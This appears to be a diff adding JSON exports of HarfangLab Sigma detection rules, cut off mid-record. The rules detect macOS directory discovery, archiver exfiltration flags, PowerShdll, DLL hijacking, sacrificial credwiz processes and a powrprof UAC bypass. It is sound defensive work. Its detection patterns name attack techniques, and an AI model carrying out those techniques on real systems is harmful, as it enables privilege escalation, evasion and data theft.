+  "content": "title: User Cache Directory Discovered via Python\nid: d2e34f8d-c34b-4149-94f4-502c3fecc3e3\ndescription: |\n    Detects the discovery of the user cache directory via the python3 os.confstr function.\n    Attackers may use it during the discovery phase of an attack to retrieve the user cache directory.\n    It is recommended to check for other suspicious activity by the process or its parents and to correlate this alert with any other discovery activity to determine legitimacy.\n    If this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n\nreferences:\n    - https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/\n    - https://opensource.apple.com/source/Libc/Libc-583/include/unistd.h.auto.html\n    - https://www.manpagez.com/man/3/confstr/\n    - https://attack.mitre.org/techniques/T1083/\ndate: 2022/12/08\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1083\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        Image:\n            - '/usr/bin/python'\n            - '/usr/bin/python2'\n            - '/usr/bin/python3'\n        # _CS_DARWIN_USER_CACHE_DIR\n        CommandLine|contains|all:\n            - '-c'\n            - 'os.confstr(65538)'\n        ParentImage|contains: '?'\n\n    condition: selection\nlevel: low\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d2e34f8d-c34b-4149-94f4-502c3fecc3e3",
+  "rule_name": "User Cache Directory Discovered via Python",
+  "rule_description": "Detects the discovery of the user cache directory via the python3 os.confstr function.\nAttackers may use it during the discovery phase of an attack to retrieve the user cache directory.\nIt is recommended to check for other suspicious activity by the process or its parents and to correlate this alert with any other discovery activity to determine legitimacy.\nIf this activity is recurrent in your environment and legitimate, it is highly recommended to whitelist it.\n",
+  "rule_creation_date": "2022-12-08",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d2eb031e-a992-4f43-8940-718b51c05cb9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606475Z",
+  "creation_date": "2026-03-23T11:45:34.606478Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606486Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_gb/research/24/i/earth-preta-new-malware-and-strategies.html",
+    "https://attack.mitre.org/techniques/T1560/001/"
+  ],
+  "name": "archiver_tool_suspicious_parameters.yml",
+  "content": "title: Archiver Tool Execution with Suspicious Arguments\nid: d2eb031e-a992-4f43-8940-718b51c05cb9\ndescription: |\n    Detects when a common archiver tool, such as 7Zip or WinRAR, is used with suspicious arguments, such as wiping files after archiving or using encryption.\n    These parameters have been used by threat actors for exfiltrating and deleting data.\n    It is recommended to investigate this behavior to determine if this archiver is not being used on sensitive data.\nreferences:\n    - https://www.trendmicro.com/en_gb/research/24/i/earth-preta-new-malware-and-strategies.html\n    - https://attack.mitre.org/techniques/T1560/001/\ndate: 2020/12/15\nmodified: 2025/10/27\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560\n    - attack.t1560.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Collection\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_application_winrar:\n        - Image: '*\\rar.exe'\n        - Description: 'Command line RAR'\n    selection_application_7z:\n        - Image:\n            - '*\\7z.exe'\n            - '*\\7za.exe'\n        - OriginalFileName:\n            - '7z.exe'\n            - '7za.exe'\n    selection_parameters:\n        CommandLine:\n            - '* -dw*'      # rar : wipe files after archiving\n            - '* -hp*'      # rar : encrypt headers, filename, and data\n            - '* -p*'       # rar/7z : encrypt data\n            - '* -sdel*'    # 7z: delete files after compression\n            - '* -ta*'      # rar : process files modified after\n            - '* -tb*'      # rar : process files modified before\n\n    exclusion_archive_type:\n        CommandLine: '* -tbzip*' # 7z:  can collide with -tb from rar\n\n    exclusion_image:\n        ParentImage:\n            - '?:\\Program Files (x86)\\CERIG\\Sauvegarde CERIG .NET\\Sauvegarde_Cerig_Net.exe'\n            - '?:\\Program Files (x86)\\Becton Dickinson\\EpiPreUpgrade\\EpiPreUpgrade.exe'\n            - '?:\\Program Files (x86)\\MicroScan\\Connect\\LPSecurityGuard.exe'\n            - '?:\\Program Files (x86)\\MicroScan\\Connect\\DMSWABarcodes.exe'\n            - '?:\\Program Files (x86)\\MicroScan\\Connect\\WAMonitor.exe'\n            - '?:\\Program Files (x86)\\MicroScan\\Connect\\DMSDataEntry.exe'\n            - '?:\\Program Files\\Qognify\\VMS\\tools\\Setup\\VMS_CORE.exe'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\dcconfig.exe'\n            - '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\dcagentservice.exe'\n            - '?:\\Program Files (x86)\\DesktopCentral_Agent\\bin\\dcagentservice.exe'\n            - '?:\\Windows\\System32\\dgagent\\dsagent.exe'\n            - '?:\\Program Files\\IDEA StatiCa\\StatiCa *\\IdeaConnection.exe'\n            - '?:\\Program Files\\IDEA StatiCa\\StatiCa *\\IdeaCheckbot.exe'\n            - '?:\\Program Files (x86)\\BigFix Enterprise\\BES Client\\BESClient.exe'\n\n    exclusion_peazip1:\n        Image:\n            - '?:\\program files\\peazip\\res\\7z\\7z.exe'\n            - '?:\\program files (x86)\\peazip\\res\\7z\\7z.exe'\n        CommandLine|contains: ' -pdefault '\n    exclusion_peazip2:\n        Image:\n            - '?:\\Program Files\\PeaZip\\res\\bin\\7z\\7z.exe'\n            - '?:\\Program Files\\PeaZip\\res\\7z\\7z.exe'\n        ParentImage: '?:\\Program Files\\PeaZip\\peazip.exe'\n        GrandparentImage:\n            - '?:\\Program Files\\PeaZip\\peazip.exe'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\chrome.exe'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.EXE'\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe'\n\n    exclusion_trendmicro:\n        Image:\n            - '?:\\Program Files (x86)\\Trend Micro\\Security Server\\PCCSRV\\Pccnt\\Common\\7z.exe'\n            - '?:\\Trend Micro\\Security Server\\PCCSRV\\Pccnt\\Common\\7z.exe'\n        CommandLine|contains|all:\n            - '\\Security Server\\PCCSRV\\pccnt\\common\\7z.exe a -y ?:\\Windows\\TEMP\\\\????????-????-????-????-????????????.7z ?:\\Windows\\TEMP\\\\????????-????-????-????-????????????.7z*'\n            - '-mhe=on -mhc=on'\n        ParentCommandLine:\n            - '?:\\Program Files (x86)\\Trend Micro\\Security Server\\PCCSRV\\\\Web\\Service\\OfcAutoUpdate.exe'\n            - '?:\\Trend Micro\\Security Server\\PCCSRV\\\\Web\\Service\\OfcAutoUpdate.exe'\n\n    exclusion_manageengine1:\n        Image: '*\\7za.exe'\n        ParentCommandLine:\n            - '*;../lib/AdventNetUpdateManagerInstaller.jar;*'\n            - '*;?:\\Program Files\\ManageEngine\\PMP\\scripts\\\\..\\lib\\conf.jar*'\n        GrandparentImage:\n            - '*\\bin\\wrapper.exe'\n            - '?:\\Windows\\system32\\cmd.exe'\n    exclusion_manageengine2:\n        Image: '?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\7z.exe'\n        ProcessParentOriginalFileName:\n            - 'dcmsghandler.exe'\n            - 'dcpatchprompt.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'ZOHO Corporation Private Limited'\n\n    # https://www.elisath.fr/\n    exclusion_elisath:\n        Image: '?:\\Elisath\\Gestion\\7za.exe'\n        ParentImage: '?:\\Windows\\System32\\cmd.exe'\n        GrandparentImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_lgn:\n        Image: '?:\\Program Files\\7-Zip\\7z.exe'\n        ParentCommandLine:\n            - 'Powershell.exe -command import-module Lgpn;Lgpn-Backup'\n            - 'Powershell.exe -command import-module Lgpn;Lgpn-Purge-Logs'\n\n    exclusion_schedule:\n        - ParentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - GrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - ProcessParentGrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_axiell:\n        GrandparentCommandLine:\n            - 'cache -c j -s ?:\\\\*\\mgr'\n            - 'irisdb -c j -s ?:\\\\*\\mgr'\n\n    condition: (1 of selection_application_*) and selection_parameters and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d2eb031e-a992-4f43-8940-718b51c05cb9",
+  "rule_name": "Archiver Tool Execution with Suspicious Arguments",
+  "rule_description": "Detects when a common archiver tool, such as 7Zip or WinRAR, is used with suspicious arguments, such as wiping files after archiving or using encryption.\nThese parameters have been used by threat actors for exfiltrating and deleting data.\nIt is recommended to investigate this behavior to determine if this archiver is not being used on sensitive data.\n",
+  "rule_creation_date": "2020-12-15",
+  "rule_modified_date": "2025-10-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1560",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d32f5398-f83d-494f-b0e1-f47d051be155",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608547Z",
+  "creation_date": "2026-03-23T11:45:34.608550Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608557Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/p3nt4/PowerShdll",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1059_001_powershell_script_execution_through_powershdll.yml",
+  "content": "title: PowerShell Script Execution via Powershdll\nid: d32f5398-f83d-494f-b0e1-f47d051be155\ndescription: |\n    Detects the execution of a PowerShell script through the Powershdll evasion tool.\n    Attackers can use this tool to execute PowerShell scripts without spawning the PowerShell executable, allowing them to evade defensive measures.\n    It is recommended to investigate the content of the PowerShell script to determine whether this action was legitimate.\nreferences:\n    - https://github.com/p3nt4/PowerShdll\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2022/10/11\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\Powershdll.exe'\n        - OriginalFileName: 'PowerShdll.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d32f5398-f83d-494f-b0e1-f47d051be155",
+  "rule_name": "PowerShell Script Execution via Powershdll",
+  "rule_description": "Detects the execution of a PowerShell script through the Powershdll evasion tool.\nAttackers can use this tool to execute PowerShell scripts without spawning the PowerShell executable, allowing them to evade defensive measures.\nIt is recommended to investigate the content of the PowerShell script to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2022-10-11",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d346505b-2afc-4531-a065-cd4f5c25f675",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591282Z",
+  "creation_date": "2026-03-23T11:45:34.591286Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591293Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_muiunattend.yml",
+  "content": "title: DLL Hijacking via muiunattend.exe\nid: d346505b-2afc-4531-a065-cd4f5c25f675\ndescription: |\n    Detects potential Windows DLL Hijacking via muiunattend.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'muiunattend.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\SspiCli.dll'\n            - '\\wdscore.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d346505b-2afc-4531-a065-cd4f5c25f675",
+  "rule_name": "DLL Hijacking via muiunattend.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via muiunattend.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d351b415-d2e7-41f4-8e40-a52d8107de1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070494Z",
+  "creation_date": "2026-03-23T11:45:34.070498Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070503Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_credwiz.yml",
+  "content": "title: Credwiz.exe Sacrificial Process Spawned\nid: d351b415-d2e7-41f4-8e40-a52d8107de1e\ndescription: |\n    Detects the suspicious execution of the legitimate credwiz.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the credwiz.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/27\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.SacrificialProcess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\System32\\credwiz.exe'\n\n    filter_parent:\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d351b415-d2e7-41f4-8e40-a52d8107de1e",
+  "rule_name": "Credwiz.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate credwiz.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the credwiz.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-27",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d38af30f-2fd9-4957-b4a8-1c40a7b0868a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077602Z",
+  "creation_date": "2026-03-23T11:45:34.077604Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077608Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME"
+  ],
+  "name": "t1548_002_uac_bypass_powrprof.yml",
+  "content": "title: UAC Bypass Executed via powrprof\nid: d38af30f-2fd9-4957-b4a8-1c40a7b0868a\ndescription: |\n    Detects the powrprof.dll DLL hijacking UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the process and user session responsible to look for malicious content or actions.\nreferences:\n    - https://github.com/hfiref0x/UACME\ndate: 2021/01/06\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.UACBypass\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\sysprep\\'\n        ImageLoaded|endswith: '\\powrprof.dll'\n\n    filter_microsoft:\n        Signed: 'true'\n        Signature|contains: 'Microsoft Windows'\n\n    filter_no_info:\n        - ImageSize: -1\n        - ImageLoaded|startswith: '\\Windows\\' # image starts with \\windows\\ instead of ?:\\windows, so no info possible\n\n    exclusion_known_good:\n        sha256:\n            - 'd926530c659ddaf80770663f46f1efd94ffb4aab475c4e3367cb531af4a734e1' # powrprof.dll version 6.1.7600.16385 (win7_rtm.090713-1255)\n            - 'efcd0b1d1afe33b2ebe94dc4d3aaab0b0e6de4f47bc2f9fa873dfac161bb2aac' # powrprof.dll version 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n            - 'bc710052925f7db190df51474725c41cae839c8a810c93b43edda98d33499fe2' # powrprof.dll version 10.0.22621.2361 (WinBuild.160101.0800)\n            - '9592b7b12bed6f60ca92883b652afb7bf37d369e9f9a577583d68392b100491b' # powrprof.dll version 10.0.19041.3570 (WinBuild.160101.0800)\n\n    exclusion_legitimate:\n        ImageLoaded:\n            - '?:\\Windows\\SysWOW64\\powrprof.dll'\n            - '?:\\Windows\\system32\\powrprof.dll'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d38af30f-2fd9-4957-b4a8-1c40a7b0868a",
+  "rule_name": "UAC Bypass Executed via powrprof",
+  "rule_description": "Detects the powrprof.dll DLL hijacking UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the process and user session responsible to look for malicious content or actions.\n",
+  "rule_creation_date": "2021-01-06",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d39ad600-7c50-41ca-aedb-35a550b25c79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089175Z",
+  "creation_date": "2026-03-23T11:45:34.089178Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089182Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://medium.com/insomniacs/analysis-walkthrough-fun-clientrun-part-1-b2509344ebe6",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_outlook.yml",
+  "content": "title: DLL Hijacking via Outlook.exe\nid: d39ad600-7c50-41ca-aedb-35a550b25c79\ndescription: |\n    Detects potential Windows DLL Hijacking via Outlook.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://medium.com/insomniacs/analysis-walkthrough-fun-clientrun-part-1-b2509344ebe6\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'Outlook.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - 